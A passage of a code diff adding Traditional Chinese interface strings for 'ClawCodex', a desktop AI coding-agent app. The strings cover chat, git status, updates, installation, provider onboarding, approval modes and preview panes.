+    unmuteMic: '取消麥克風靜音',
+    stopListening: '停止聆聽並傳送',
+    stopShort: '停止',
+    endConversation: '結束語音對話',
+    endShort: '結束',
+    stopDictation: '停止聽寫',
+    transcribingDictation: '正在轉寫聽寫',
+    voiceDictation: '語音聽寫',
+    speakReplies: '朗讀回覆',
+    stopSpeakingReplies: '停止朗讀回覆',
+    wakeWordListening: phrase => `喚醒詞:「${phrase}」— 正在聆聽`,
+    wakeWordOff: phrase => `喚醒詞:「${phrase}」— 已關閉`,
+    wakeWordPausedVoice: phrase => `喚醒詞:「${phrase}」— 語音對話期間暫停`,
+    lookupLoading: '查詢中…',
+    lookupNoMatches: '沒有相符項目。',
+    lookupTry: '試試',
+    lookupOr: '或',
+    commonCommands: '常用指令',
+    hotkeys: '快捷鍵',
+    helpFooter: '開啟完整面板 · 退格鍵關閉',
+    commandDescs: {
+      '/help': '指令與快捷鍵的完整清單',
+      '/clear': '開始新工作階段',
+      '/resume': '繼續之前的工作階段',
+      '/details': '控制對話記錄的詳細程度',
+      '/copy': '複製所選內容或最後一條助手訊息',
+      '/quit': '結束 clawcodex'
+    },
+    hotkeyDescs: {
+      'composer.mention': '參照檔案、資料夾、URL、git',
+      'composer.slash': '斜線指令面板',
+      'composer.help': '此快速說明（刪除以關閉）',
+      'composer.sendNewline': '傳送 · Shift+Enter 換行',
+      'composer.sendQueued': '傳送下一個排隊的回合',
+      'keybinds.openPanel': '所有鍵盤快捷鍵',
+      'composer.cancel': '關閉彈出視窗 · 取消執行',
+      'composer.history': '循環彈出視窗 / 歷史記錄'
+    },
+    attachUrlTitle: '附加 URL',
+    attachUrlDesc: 'ClawCodex 將擷取該頁面並作為此回合的脈絡。',
+    urlPlaceholder: 'https://example.com/post',
+    urlHintPre: '請輸入完整 URL，例如 ',
+    attach: '附加',
+    queued: count => `${count} 個排隊中`,
+    queuedPaused: count => `${count} 個排隊中 — 已暫停`,
+    attachmentOnly: '僅附件回合',
+    emptyTurn: '空回合',
+    attachments: count => `${count} 個附件`,
+    editingInComposer: '在輸入框中編輯',
+    editingQueuedInComposer: '在輸入框中編輯排隊回合',
+    queueEdit: '編輯',
+    queueSendNext: '下一個',
+    queueSend: '傳送',
+    queueDelete: '刪除',
+    queueResume: '繼續',
+    queueResumeTip: '已被停止操作暫停 — 繼續傳送排隊的回合',
+    queueStuckTitle: '佇列訊息未送出',
+    queueStuckBody: '佇列中的對話多次傳送失敗。它仍在佇列中，請重試傳送。',
+    previewUnavailable: '預覽不可用',
+    previewLabel: label => `預覽 ${label}`,
+    couldNotPreview: label => `無法預覽 ${label}`,
+    removeAttachment: label => `移除 ${label}`,
+    dictating: '聽寫中',
+    preparingAudio: '正在準備音訊',
+    speakingResponse: '正在朗讀回覆',
+    readingAloud: '朗讀中',
+    themeSuggestions: '桌面主題建議',
+    noMatchingThemes: '沒有相符的主題。',
+    themeTryPre: '試試 ',
+    themeTryPost: '。',
+    attachLabel: '附加',
+    files: '檔案…',
+    folder: '資料夾…',
+    images: '圖片…',
+    pasteImage: '貼上圖片',
+    url: 'URL…',
+    promptSnippets: '提示詞片段…',
+    tipPre: '提示：輸入 ',
+    tipPost: ' 以行內參照檔案。',
+    snippetsTitle: '提示詞片段',
+    snippetsDesc: '選擇一個起始提示詞放入輸入框。',
+    dropFiles: '拖曳檔案以附加',
+    dropSession: '拖曳以連結此聊天',
+    snippets: {
+      codeReview: {
+        label: '程式碼審查',
+        description: '審查目前的變更是否有回歸、遺漏的邊緣情況和缺少的測試。',
+        text: '請審查這部分是否有錯誤、回歸和缺少的測試。'
+      },
+      implementationPlan: {
+        label: '實作計劃',
+        description: '在動程式碼之前先勾勒方案，讓 diff 保持聚焦。',
+        text: '請在修改程式碼前制定一個簡潔的實作計劃。'
+      },
+      explainThis: {
+        label: '解釋這段',
+        description: '說明所選程式碼的運作方式，並連結到關鍵檔案。',
+        text: '請解釋這是如何運作的，並告訴我關鍵檔案在哪裡。'
+      }
+    }
+  },
+
+  statusStack: {
+    agents: '代理',
+    background: count => `${count} 個背景任務`,
+    goalActive: '目標進行中',
+    goalDone: '目標已完成',
+    goalPaused: '目標已暫停',
+    goalWaiting: '目標等待中',
+    subagents: count => `${count} 個子代理`,
+    todos: (done, total) => `任務 ${done}/${total}`,
+    running: '執行中',
+    stop: '停止',
+    dismiss: '關閉',
+    exit: code => `結束碼 ${code}`,
+    coding: {
+      title: '工作區',
+      noBranch: '無分支',
+      detached: '分離 HEAD',
+      clean: '乾淨',
+      changed: count => `${count} 處變更`,
+      ahead: count => `領先 ${count}`,
+      behind: count => `落後 ${count}`,
+      review: '審查',
+      close: '關閉',
+      openChanges: '開啟變更',
+      openFile: '開啟檔案',
+      stage: '暫存',
+      unstage: '取消暫存',
+      stageAll: '全部暫存',
+      viewAsTree: '樹狀檢視',
+      viewAsList: '清單檢視',
+      revert: '還原',
+      revertAll: '全部還原',
+      revertConfirm: '捨棄對此檔案的變更並將其還原至已提交狀態？此操作無法復原。',
+      revertAllConfirm: '捨棄所有變更並將檔案還原至已提交狀態？此操作無法復原。',
+      staged: '已暫存',
+      noChanges: '沒有變更',
+      notRepo: '不是 Git 儲存庫',
+      noDiff: '沒有可顯示的差異',
+      scopeUncommitted: '未提交',
+      scopeBranch: '分支',
+      scopeLastTurn: '上一輪',
+      commit: '提交',
+      commitAndPush: '提交並推送',
+      commitPlaceholder: '訊息（⌘↵ 提交）',
+      generateCommitMessage: '產生提交訊息',
+      stopGenerating: '停止產生',
+      createPr: '建立 PR',
+      openPr: '開啟 PR',
+      ghMissing: '安裝 GitHub CLI (gh) 並登入後可開啟 PR',
+      agentShip: '讓 ClawCodex 提交並開 PR',
+      agentShipPrompt: '檢查目前的變更，使用清晰的約定式提交訊息提交，推送分支，並開啟一個拉取請求。',
+      newBranch: '新增分支',
+      branchOffFrom: base => `從 ${base} 建立新分支`,
+      switchTo: branch => `切換到 ${branch}`,
+      switchFailed: branch => `無法切換到 ${branch}`,
+      worktrees: '工作樹'
+    }
+  },
+
+  updates: {
+    stages: {
+      idle: '準備中…',
+      prepare: '準備中…',
+      fetch: '下載中…',
+      pull: '快完成了…',
+      pydeps: '收尾中…',
+      update: '正在更新 ClawCodex…',
+      rebuild: '正在重新建置桌面應用程式…',
+      restart: '正在重新啟動 ClawCodex…',
+      done: '更新完成',
+      manual: '從終端機更新',
+      guiSkew: '請更新桌面應用程式',
+      error: '更新已暫停'
+    },
+    checking: '正在檢查更新…',
+    checkFailedTitle: '無法檢查更新',
+    tryAgain: '重試',
+    notAvailableTitle: '更新不可用',
+    unsupportedMessage: '此版本的 ClawCodex 無法在應用程式內自行更新。',
+    connectionRetry: '請檢查網路連線後重試。',
+    latestBody: '您正在執行最新版本。',
+    latestBodyBackend: '後端正在執行最新版本。',
+    allSetTitle: '已是最新版本',
+    availableTitle: '有可用更新',
+    availableBody: '新版 ClawCodex 已可安裝。',
+    availableTitleBackend: '後端有可用更新',
+    availableBodyBackend: '已連接的 ClawCodex 後端有新版本可安裝。',
+    availableBodyNoChangelog: '已有新版本可用。此安裝方式無法顯示更新日誌。',
+    updateNow: '立即更新',
+    maybeLater: '稍後再說',
+    moreChanges: count => `另有 ${count} 項變更。`,
+    manualTitle: '從終端機更新',
+    manualBody: '您是從命令列安裝的 ClawCodex，因此更新也需要在那裡執行。請將此指令貼到終端機：',
+    manualPickedUp: '下次啟動 ClawCodex 時會使用新版本。',
+    guiSkewTitle: '請更新桌面應用程式',
+    guiSkewBody:
+      '後端已更新，但此桌面應用程式套件未變更。請更新或重新安裝 ClawCodex 桌面應用程式（你的 AppImage / .deb / .rpm）以保持一致。',
+    copy: '複製',
+    copied: '已複製',
+    done: '完成',
+    applyingBody:
+      'ClawCodex 更新程式會在自己的視窗中接管，並在完成後自動重新開啟 ClawCodex。更新期間請勿自行重新開啟 ClawCodex。',
+    applyingBodyBackend: '遠端後端正在套用更新並將重新啟動。恢復後 ClawCodex 會自動重新連線。',
+    applyingClose: '此視窗會在更新期間關閉，隨後 ClawCodex 會自動重新開啟。',
+    errorTitle: '更新未完成',
+    errorBody: '沒有資料遺失。您可以現在重試。',
+    notNow: '暫不',
+    applyStatus: {
+      preparing: '正在更新後端…',
+      pulling: '後端更新中…',
+      restarting: '後端正在重新啟動以載入更新…',
+      notAvailable: '此後端無法更新。',
+      failed: '後端更新失敗。',
+      noReturn: '後端未恢復連線。更新可能未完成——請檢查後端主機。'
+    }
+  },
+
+  install: {
+    stageStates: {
+      pending: '等待中',
+      running: '安裝中',
+      succeeded: '完成',
+      skipped: '已略過',
+      failed: '失敗'
+    },
+    oneTimeTitle: 'ClawCodex 需要一次性安裝',
+    unsupportedDesc: platform =>
+      `${platform} 暫不支援自動首次啟動安裝。請開啟終端機並執行下面的指令，然後重新啟動此應用程式。之後啟動會略過此步驟。`,
+    installCommand: '安裝指令',
+    copyCommand: '複製指令',
+    viewDocs: '檢視安裝文件',
+    installTo: '將安裝至',
+    retryAfterRun: '我已執行 -- 重試',
+    setupChoiceTitle: '設定 ClawCodex Desktop',
+    setupChoiceDesc: '將此應用程式連線到您已執行的 ClawCodex 閘道，或在這台電腦上本機安裝 ClawCodex。',
+    connectExistingTitle: '連線到現有 ClawCodex',
+    connectExistingShort: '連線現有環境',
+    connectExistingDesc: '使用工作階段權杖或瀏覽器登入連線遠端後端。不會啟動本機安裝。',
+    installLocalTitle: '本機安裝 ClawCodex',
+    installLocalDesc: '下載 ClawCodex、建立 Python 環境，並在這台電腦上執行後端。',
+    localStartUnavailable: '無法啟動本機安裝。請重新啟動 ClawCodex Desktop 後再試一次。',
+    remoteSetupTitle: '連線到現有 ClawCodex',
+    remoteSetupDesc: '輸入閘道 URL。ClawCodex Desktop 會偵測需要權杖還是瀏覽器登入。',
+    remoteUrlTitle: '閘道 URL',
+    remoteUrlDesc: '使用 ClawCodex 閘道的基礎 URL；遠端位址請包含 https://。',
+    remoteUrlPlaceholder: 'https://gateway.example.com/clawcodex',
+    probing: '正在偵測閘道驗證方式...',
+    probeError: '無法連線到該 ClawCodex 閘道。',
+    identityProvider: '您的身分提供者',
+    authTitle: '驗證',
+    authNeedsOauth: provider => `測試此閘道前請先使用 ${provider} 登入。`,
+    authSignedIn: '瀏覽器登入已完成。',
+    connected: '已連線',
+    signIn: '登入',
+    signInWith: provider => `使用 ${provider} 登入`,
+    enterUrlFirst: '請先輸入閘道 URL。',
+    signInIncomplete: '驗證完成前登入視窗已關閉。',
+    tokenTitle: '工作階段權杖',
+    tokenDesc: '貼上遠端閘道 .env 檔案中的工作階段權杖。',
+    pasteSessionToken: '貼上工作階段權杖',
+    incompleteSignInTest: '測試此受 OAuth 保護的閘道前請先登入。',
+    incompleteTokenTest: '測試此閘道前請輸入工作階段權杖。',
+    testConnection: '測試連線',
+    testSucceeded: (baseUrl, version) => `已連線到 ${baseUrl}${version ? ` (${version})` : ''}。`,
+    applyRemote: '套用並重新連線',
+    backToSetup: '返回',
+    failedTitle: '安裝失敗',
+    settingUpTitle: '正在設定 ClawCodex',
+    finishingTitle: '正在收尾',
+    failedDesc:
+      '某個安裝步驟失敗。在 Windows 上，如果另一個 ClawCodex CLI 或桌面執行個體正在執行，可能會出現這種情況。請停止正在執行的 ClawCodex 執行個體後重試。可查看下方的詳細資訊或 desktop 記錄中的完整記錄。',
+    activeDesc: '這是一次性設定。ClawCodex 安裝程式正在下載相依套件並設定您的電腦。之後啟動會略過此步驟。',
+    progress: (completed, total) => `${completed}/${total} 個步驟已完成`,
+    currentStage: stage => ` -- 目前：${stage}`,
+    fetchingManifest: '正在取得安裝程式 manifest...',
+    error: '錯誤',
+    hideOutput: '隱藏安裝程式輸出',
+    showOutput: '顯示安裝程式輸出',
+    lines: count => `${count} 行`,
+    noOutput: '暫無輸出。',
+    cancelling: '取消中...',
+    cancelInstall: '取消安裝',
+    transcriptSaved: '完整記錄已儲存至',
+    copiedOutput: '已複製！',
+    copyOutput: '複製輸出',
+    reloadRetry: '重新載入並重試'
+  },
+
+  onboarding: {
+    headerTitle: '開始設定 ClawCodex',
+    headerDesc: '連線模型提供方即可開始聊天。大多數選項只需一次點擊。',
+    preparingInstall: 'ClawCodex 正在完成安裝。首次執行通常不到一分鐘。',
+    starting: '正在啟動 ClawCodex…',
+    lookingUpProviders: '正在查詢提供方...',
+    collapse: '收合',
+    otherProviders: '其他提供方',
+    haveApiKey: '我有 API 金鑰',
+    chooseLater: '稍後再選擇提供方',
+    recommended: '建議',
+    connected: '已連線',
+    featuredPitch: '一個訂閱，300+ 前沿模型 — 執行 ClawCodex 的建議方式',
+    fireworksPitch: '直接模型 API — Fireworks 託管的前沿模型',
+    openRouterPitch: '一個金鑰，數百個模型 — 穩定的預設選擇',
+    apiKeyOptions: {
+      fireworks: { short: '直接模型 API', description: '直接存取 Fireworks AI 託管的模型。' },
+      openrouter: { short: '一個金鑰，多個模型', description: '用一個金鑰存取數百個模型。適合新安裝的預設選擇。' },
+      openai: { short: 'GPT 等級模型', description: '直接存取 OpenAI 模型。' },
+      gemini: { short: 'Gemini 模型', description: '直接存取 Google Gemini 模型。' },
+      xai: { short: 'Grok 模型', description: '直接存取 xAI Grok 模型。' },
+      local: {
+        short: '自託管',
+        description: '將 ClawCodex 指向本機或自託管的 OpenAI 相容端點（vLLM、llama.cpp、Ollama 等）。'
+      }
+    },
+    backToSignIn: '返回登入',
+    getKey: '取得金鑰',
+    replaceCurrent: '取代目前值',
+    pasteApiKey: '貼上 API 金鑰',
+    couldNotSave: '無法儲存憑證。',
+    connecting: '連線中',
+    update: '更新',
+    flowSubtitles: {
+      pkce: '開啟瀏覽器登入，然後回到這裡繼續',
+      device_code: '在瀏覽器中開啟驗證頁面 — ClawCodex 會自動連線',
+      external: '先在終端機登入一次，然後回來繼續聊天'
+    },
+    startingSignIn: provider => `正在為 ${provider} 啟動登入...`,
+    verifyingCode: provider => `正在透過 ${provider} 驗證您的代碼...`,
+    connectedProvider: provider => `${provider} 已連線`,
+    connectedPicking: provider => `${provider} 已連線。正在選擇預設模型...`,
+    signInFailed: '登入失敗，請重試。',
+    pickDifferentProvider: '選擇其他提供方',
+    signInWith: provider => `使用 ${provider} 登入`,
+    openedBrowser: provider => `已在瀏覽器中開啟 ${provider}。`,
+    authorizeThere: '請在那裡授權 ClawCodex。',
+    copyAuthCode: '複製授權碼並貼到下方。',
+    pasteAuthCode: '貼上授權碼',
+    reopenAuthPage: '重新開啟授權頁面',
+    autoBrowser: provider => `已在瀏覽器中開啟 ${provider}。請在那裡授權 ClawCodex，連線會自動完成，無需複製或貼上。`,
+    reopenSignInPage: '重新開啟登入頁面',
+    waitingAuthorize: '等待您授權...',
+    externalPending: provider => `${provider} 透過自己的 CLI 登入。請在終端機執行此指令，然後回來選擇「我已登入」：`,
+    signedIn: '我已登入',
+    deviceCodeOpened: provider => `已在瀏覽器中開啟 ${provider}。請在那裡輸入此代碼：`,
+    reopenVerification: '重新開啟驗證頁面',
+    copy: '複製',
+    defaultModel: '預設模型',
+    freeTier: '免費層',
+    pro: 'Pro',
+    free: '免費',
+    price: (input, output) => `${input} 輸入 / ${output} 輸出 每 Mtok`,
+    change: '變更',
+    startChatting: '開始',
+    docs: provider => `${provider} 文件`
+  },
+
+  modelPicker: {
+    title: '切換模型',
+    current: '目前：',
+    unknown: '（未知）',
+    search: '篩選提供方和模型...',
+    noModels: '找不到模型。',
+    addProvider: '新增提供方',
+    loadFailed: '無法載入模型',
+    noAuthenticatedProviders: '沒有已驗證的提供方。',
+    pro: 'Pro',
+    proNeedsSubscription: 'Pro 模型需要付費 Nous 訂閱。',
+    free: '免費',
+    freeTier: '免費層',
+    priceTitle: '每百萬 Token 的輸入/輸出價格',
+    wasPrice: '原價'
+  },
+
+  modelVisibility: {
+    title: '模型',
+    search: '搜尋模型',
+    noAuthenticatedProviders: '沒有已驗證的提供方。',
+    addProvider: '新增提供方…'
+  },
+
+  shell: {
+    windowControls: '視窗控制項',
+    paneControls: '窗格控制項',
+    appControls: '應用程式控制項',
+    modelMenu: {
+      search: '搜尋模型',
+      noModels: '找不到模型',
+      editModels: '編輯模型…',
+      refreshModels: '重新整理模型',
+      fast: '快速'
+    },
+    modelOptions: {
+      noOptions: '此模型沒有可用選項',
+      options: '選項',
+      thinking: '思考',
+      fast: '快速',
+      effort: '推理強度',
+      minimal: '最小',
+      low: '低',
+      medium: '中',
+      high: '高',
+      xhigh: '極高',
+      max: '最高',
+      ultra: '超高',
+      updateFailed: '模型選項更新失敗',
+      fastFailed: '快速模式更新失敗'
+    },
+    gatewayMenu: {
+      gateway: '閘道',
+      connected: '已連線',
+      connecting: '連線中',
+      offline: '離線',
+      inferenceReady: '推論已就緒',
+      inferenceNotReady: '推論未就緒',
+      checkingInference: '正在檢查推論',
+      disconnected: '已中斷連線',
+      openSystem: '開啟系統面板',
+      connection: label => `連線：${label}`,
+      recentActivity: '最近活動',
+      viewAllLogs: '查看全部記錄 →',
+      messagingPlatforms: '訊息平台'
+    },
+    approvalMode: {
+      title: '核准模式',
+      ariaLabel: mode => `核准模式：${mode}`,
+      manual: '手動',
+      manualDescription: '執行需要核准的操作前詢問',
+      smart: '智慧',
+      smartDescription: '自動評估操作，並在需要時詢問',
+      off: '關閉',
+      offDescription: '不顯示核准提示，直接執行'
+    },
+    statusbar: {
+      unknown: '未知',
+      restart: '重新啟動',
+      update: '更新',
+      updateInProgress: '更新中',
+      commitsBehind: (count, branch) => `落後 ${branch} ${count} 個提交`,
+      desktopVersion: version => `ClawCodex Desktop v${version}`,
+      backendVersion: version => `後端 v${version}`,
+      clientLabel: version => `用戶端 v${version}`,
+      connectionSsh: host => `SSH: ${host}`,
+      connectionRemote: host => `遠端: ${host}`,
+      connectionCloud: host => `雲端: ${host}`,
+      connectionCloudTooltip: host => `ClawCodex Cloud · ${host}`,
+      connectionSshTooltip: host => `SSH · ${host}`,
+      connectionRemoteTooltip: host => `Remote · ${host}`,
+      backendLabel: version => `後端 v${version}`,
+      commit: sha => `提交 ${sha}`,
+      branch: branch => `分支 ${branch}`,
+      closeCommandCenter: '關閉命令中心',
+      openCommandCenter: '開啟命令中心',
+      showTerminal: '顯示終端機',
+      hideTerminal: '隱藏終端機',
+      gateway: '閘道',
+      gatewayReady: '就緒',
+      gatewayNeedsSetup: '需要設定',
+      gatewayChecking: '檢查中',
+      gatewayConnecting: '連線中',
+      gatewayOffline: '離線',
+      gatewayRestarting: '重新啟動中…',
+      gatewayTitle: '閘道',
+      agents: '代理',
+      closeAgents: '關閉代理',
+      openAgents: '開啟代理',
+      subagents: count => `${count} 個子代理`,
+      failed: count => `${count} 個失敗`,
+      running: count => `${count} 個執行中`,
+      cron: '排程',
+      openCron: '開啟排程工作',
+      starmap: '記憶圖譜',
+      openStarmap: '開啟記憶圖譜',
+      turnRunning: '執行中',
+      contextUsage: '上下文使用量',
+      contextUsagePanel: {
+        categories: {
+          conversation: '對話',
+          mcp: 'MCP',
+          memory: '記憶',
+          rules: '規則',
+          skills: '技能',
+          subagent_definitions: '子代理定義',
+          system_prompt: '系統提示詞',
+          tool_definitions: '工具定義'
+        },
+        empty: '尚無上下文資料',
+        loading: '正在載入明細…',
+        percentFull: percent => `已用 ${percent}%`,
+        title: '上下文使用量',
+        tokenSummary: (used, max) => `${used} / ${max} Tokens`
+      },
+      session: '工作階段',
+      yoloOn: 'YOLO 已開啟 — 自動核准危險指令。Shift+點擊可全域切換。',
+      yoloOff: 'YOLO 已關閉。Shift+點擊可全域切換。',
+      modelNone: '無',
+      noModel: '無模型',
+      switchModel: '切換模型',
+      openModelPicker: '開啟模型選擇器',
+      modelPinned: '已由你固定；新對話將使用此模型而非「設定」中的預設模型',
+      modelTitle: (provider, model) => `模型 · ${provider}：${model}`,
+      providerModelTitle: (provider, model) => `${provider} · ${model}`
+    }
+  },
+
+  rightSidebar: {
+    aria: '右側邊欄',
+    panelsAria: '右側邊欄面板',
+    files: '檔案系統',
+    terminal: '終端機',
+    noFolderSelected: '未選擇資料夾',
+    changeCwdTitle: '變更工作目錄',
+    remotePickerTitle: '選擇遠端資料夾',
+    remotePickerDescription: '瀏覽已連線後端上的資料夾。',
+    remotePickerSelect: '選擇資料夾',
+    folderTip: cwd => cwd,
+    openFolder: '開啟資料夾',
+    refreshTree: '重新整理檔案樹',
+    collapseAll: '收合所有資料夾',
+    previewUnavailable: '預覽不可用',
+    couldNotPreview: path => `無法預覽 ${path}`,
+    noProjectTitle: '沒有專案',
+    noProjectBody: '開啟一個專案以瀏覽檔案並檢視變更。',
+    noProjectOpen: '未開啟專案',
+    noDiffs: '無差異',
+    unreadableTitle: '無法讀取',
+    unreadableBody: error => `無法讀取此資料夾 (${error})。`,
+    emptyTitle: '空資料夾',
+    emptyBody: '此資料夾是空的。',
+    treeErrorTitle: '檔案樹錯誤',
+    treeErrorBody: '檔案樹在渲染此資料夾時發生錯誤。',
+    tryAgain: '重試',
+    loadingTree: '正在載入檔案樹',
+    loadingFiles: '正在載入檔案',
+    terminalHide: '隱藏終端機',
+    terminalsAria: '終端機',
+    terminalNew: '新增終端機',
+    terminalCloseOthers: '關閉其他',
+    terminalCloseAll: '全部關閉',
+    addToChat: '新增至聊天'
+  },
+
+  preview: {
+    tab: '預覽',
+    closePane: '關閉預覽窗格',
+    loading: '正在載入預覽',
+    unavailable: '預覽不可用',
+    opening: '開啟中...',
+    hide: '隱藏',
+    openPreview: '開啟預覽',
+    openInBrowser: '在瀏覽器中開啟',
+    linkHint: '⌘/Ctrl+點擊在預覽窗格開啟',
+    sourceLineTitle: '點擊選取 · shift 點擊擴展 · 拖曳至輸入框',
+    source: '原始碼',
+    renderedPreview: '預覽',
+    diff: '差異',
+    unknownSize: '大小未知',
+    binaryTitle: '這看起來像二進位檔案',
+    binaryBody: label => `預覽 ${label} 可能會顯示無法讀取的文字。`,
+    largeTitle: '此檔案較大',
+    largeBody: (label, size) => `${label} 大小為 ${size}。ClawCodex 只會顯示前 512 KB。`,
+    previewAnyway: '仍然預覽',
+    truncated: '顯示前 512 KB。',
+    noInlineTitle: '沒有行內預覽',
+    noInlineBody: mimeType => `${mimeType || '此檔案類型'} 仍可作為脈絡附件。`,
+    edit: '編輯',
+    editing: '編輯中',
+    unsavedChanges: '未儲存的變更',
+    saveFailed: message => `無法儲存：${message}`,
+    diskChangedTitle: '檔案已在磁碟上變更',
+    diskChangedBody: '此檔案自開啟以來已變更。用你的版本覆寫，還是放棄你的編輯並重新載入？',
+    overwrite: '覆寫',
+    discardReload: '放棄並重新載入',
+    console: {
+      deselect: '取消選取項目',
+      select: '選取項目',
+      copyFailed: '無法複製主控台輸出',
+      copyEntry: '複製此項目',
+      sendEntry: '將此項目傳送至聊天',
+      messages: count => `${count} 則主控台訊息`,
+      resize: '調整預覽主控台大小',
+      title: '預覽主控台',
+      selected: count => `已選取 ${count} 個`,
+      sendToChat: '傳送至聊天',
+      copySelected: '複製所選至剪貼簿',
+      copyAll: '全部複製至剪貼簿',
+      copy: '複製',
+      clear: '清除',
+      empty: '暫無主控台訊息。',
+      promptHeader: '預覽主控台：',
+      sentTitle: '已傳送至聊天',
+      sentMessage: count => `已將 ${count} 條記錄新增至輸入框`
+    },
+    web: {
+      appFailedToBoot: '預覽應用程式啟動失敗',
+      serverNotFound: '找不到伺服器',
+      failedToLoad: '預覽載入失敗',
+      tryAgain: '重試',
+      restarting: 'ClawCodex 正在重新啟動...',
+      askRestart: '請 ClawCodex 重新啟動伺服器',
+      lookingRestart: taskId => `ClawCodex 正在尋找要重新啟動的預覽伺服器 (${taskId})`,
+      restartingTitle: '正在重新啟動預覽伺服器',
+      restartingMessage: 'ClawCodex 正在背景執行。可在預覽主控台查看進度。',
+      startRestartFailed: message => `無法啟動伺服器重新啟動：${message}`,
+      restartFailed: '伺服器重新啟動失敗',
+      hideConsole: '隱藏預覽主控台',
+      showConsole: '顯示預覽主控台',
+      hideDevTools: '隱藏預覽 DevTools',
+      openDevTools: '開啟預覽 DevTools',
+      finishedRestarting: message => `ClawCodex 已完成預覽伺服器重新啟動${message ? `：${message}` : ''}`,
+      failedRestarting: message => `伺服器重新啟動失敗：${message}`,
+      unknownError: '未知錯誤',
+      restartedTitle: '預覽伺服器已重新啟動',
+      reloadingNow: '正在重新載入預覽。',
+      restartFailedTitle: '預覽重新啟動失敗',
+      restartFailedMessage: 'ClawCodex 無法重新啟動伺服器。',
+      stillWorking: 'ClawCodex 仍在執行，但尚未收到重新啟動結果。伺服器指令可能正在前台執行。',
+      workspaceReloading: '工作區已變更，正在重新載入預覽',
+      fileChanged: url => `檔案已變更，正在重新載入預覽：${url}`,
+      filesChanged: (count, url) => `${count} 個檔案變更，正在重新載入預覽：${url}`,
+      watchFailed: message => `無法監看預覽檔案：${message}`,
+      moduleMimeDescription:
+        '模組指令碼使用了錯誤的 MIME 類型。這通常表示靜態檔案伺服器正在服務 Vite/React 應用程式，而不是專案開發伺服器。',
+      loadFailedConsole: (code, message) => `載入失敗${code ? ` (${code})` : ''}：${message}`,
+      unreachableDescription: '無法連線至預覽頁面。',
+      openTarget: url => `開啟 ${url}`,
+      fallbackTitle: '預覽'
+    }
+  },
+
+  zones: {
+    showHeader: '顯示標題列',
+    hideHeader: '隱藏標題列',
+    minimize: '最小化',
+    restore: '還原',
+    reload: '重新載入',
+    closeOthers: '關閉其他',
+    closeToRight: '關閉右側',
+    closeAll: '全部關閉',
+    newSessionTab: '新增工作階段分頁',
+    pluginDisabled: pluginId => `外掛「${pluginId}」已停用`,
+    pluginDisabledBody: '在 設定 → 外掛 中重新啟用即可恢復面板。',
+    missingPane: paneId => `缺少面板：${paneId}`,
+    editTitle: '版面配置',
+    editHint: '選擇一個版面配置，或在區域之間拖曳面板。',
+    reset: '重設',
+    templates: '範本',
+    custom: '自訂',
+    newGridLayout: '新增網格版面',
+    saveCurrentAs: '將目前排列儲存為範本',
+    nameLayoutPlaceholder: '為版面命名…',
+    deletePreset: name => `刪除 ${name}`,
+    zoneEditorTitle: '區域編輯器',
+    editorHintPre: '點擊分割 · ',
+    editorHintPost: ' 翻轉分割線 · 拖曳跨越多個區域可合併 · 拖曳共用邊可調整大小',
+    templateColumns: '欄',
+    templateRows: '列',
+    templateGrid: '網格',
+    templatePriority: '優先',
+    zoneTag: index => `區域 ${index}`,
+    mergeZones: count => `合併 ${count} 個區域`,
+    customZoneName: count => `自訂 ${count} 區`,
+    layoutNamePlaceholder: fallback => `版面名稱（${fallback}）`,
+    saveApply: '儲存並套用',
+    notExpressible: '此排列互相咬合（風車形）——暫時無法表示為巢狀分割',
+    zoneCount: count => `${count} 個區域`,
+    tabCount: count => `${count} 個分頁`
+  },
+
+  assistant: {
+    thread: {
+      loadingSession: '正在載入工作階段',
+      showEarlier: '顯示較早的訊息',
+      loadingResponse: 'ClawCodex 正在載入回覆',
+      resumeWhenBackgroundDone: count =>
+        count === 1 ? '背景工作完成後將自動繼續' : `${count} 個背景工作完成後將自動繼續`,
+      thinking: '思考中',
+      thought: '已思考',
+      thoughtBriefly: '思考了片刻',
+      thoughtFor: duration => `思考了 ${duration}`,
+      today: time => `今天，${time}`,
+      yesterday: time => `昨天，${time}`,
+      copy: '複製',
+      refresh: '重新整理',
+      moreActions: '更多動作',
+      branchNewChat: '在新聊天中分支',
+      react: '回應',
+      dismissError: '关闭错误',
+      filesChanged: count => `${count} 個檔案已變更`,
+      reviewChanges: '檢視',
+      readAloudFailed: '朗讀失敗',
+      preparingAudio: '正在準備音訊...',
+      stopReading: '停止朗讀',
+      readAloud: '朗讀',
+      editMessage: '編輯訊息',
+      stop: '停止',
+      restorePrevious: '還原至上一個檢查點',
+      restoreCheckpoint: '還原檢查點',
+      restoreFromHere: '還原檢查點 — 從此提示重新執行',
+      restoreTitle: '還原至此檢查點？',
+      restoreBody: '此提示之後的所有訊息將從對話中移除，並從此處重新執行該提示。',
+      restoreConfirm: '還原並重新執行',
+      restoreNext: '還原至下一個檢查點',
+      goForward: '前進',
+      sendEdited: '傳送編輯後的訊息',
+      attachingFile: '正在附加…'
+    },
+    approval: {
+      gatewayDisconnected: 'ClawCodex 閘道未連線',
+      sendFailed: '無法傳送核准回應',
+      run: '執行',
+      command: '指令',
+      moreOptions: '更多核准選項',
+      allowSession: '允許本工作階段',
+      alwaysAllowMenu: '一律允許…',
+      jumpToApproval: '需要核准',
+      reject: '拒絕',
+      alwaysTitle: '一律允許此指令？',
+      alwaysDescription: pattern =>
+        `這會將「${pattern}」模式加入永久允許清單（~/.clawcodex/config.yaml）。ClawCodex 對類似指令將不再詢問，包括目前工作階段和未來工作階段。`,
+      alwaysAllow: '一律允許'
+    },
+    clarify: {
+      notReady: '澄清請求尚未就緒',
+      gatewayDisconnected: 'ClawCodex 閘道未連線',
+      sendFailed: '無法傳送澄清回應',
+      loadingQuestion: '正在載入問題…',
+      other: '其他（輸入您的答案）',
+      placeholder: '輸入您的答案…',
+      skip: '略過',
+      skipped: '已略過',
+      continueLabel: '繼續',
+      lateAnswer: (question, choice) => `關於「${question}」 — 我的回答: ${choice}`,
+      lateAnswerTip: '將此回答起草為後續訊息',
+      lateAnswerHint: '此問題已不再等待回答。選擇一個選項會將其起草為後續訊息。'
+    },
+    tool: {
+      copyCode: '複製程式碼',
+      renderingImage: '正在渲染圖片',
+      copyOutput: '複製輸出',
+      copyCommand: '複製指令',
+      copyContent: '複製內容',
+      copyUrl: '複製 URL',
+      copyResults: '複製結果',
+      copyQuery: '複製查詢',
+      copyFile: '複製檔案',
+      copyPath: '複製路徑',
+      outputAlt: '工具輸出',
+      rawResponse: '原始回應',
+      copyActivity: '複製活動',
+      recoveredOne: '在 1 個失敗步驟後已復原',
+      recoveredMany: count => `在 ${count} 個失敗步驟後已復原`,
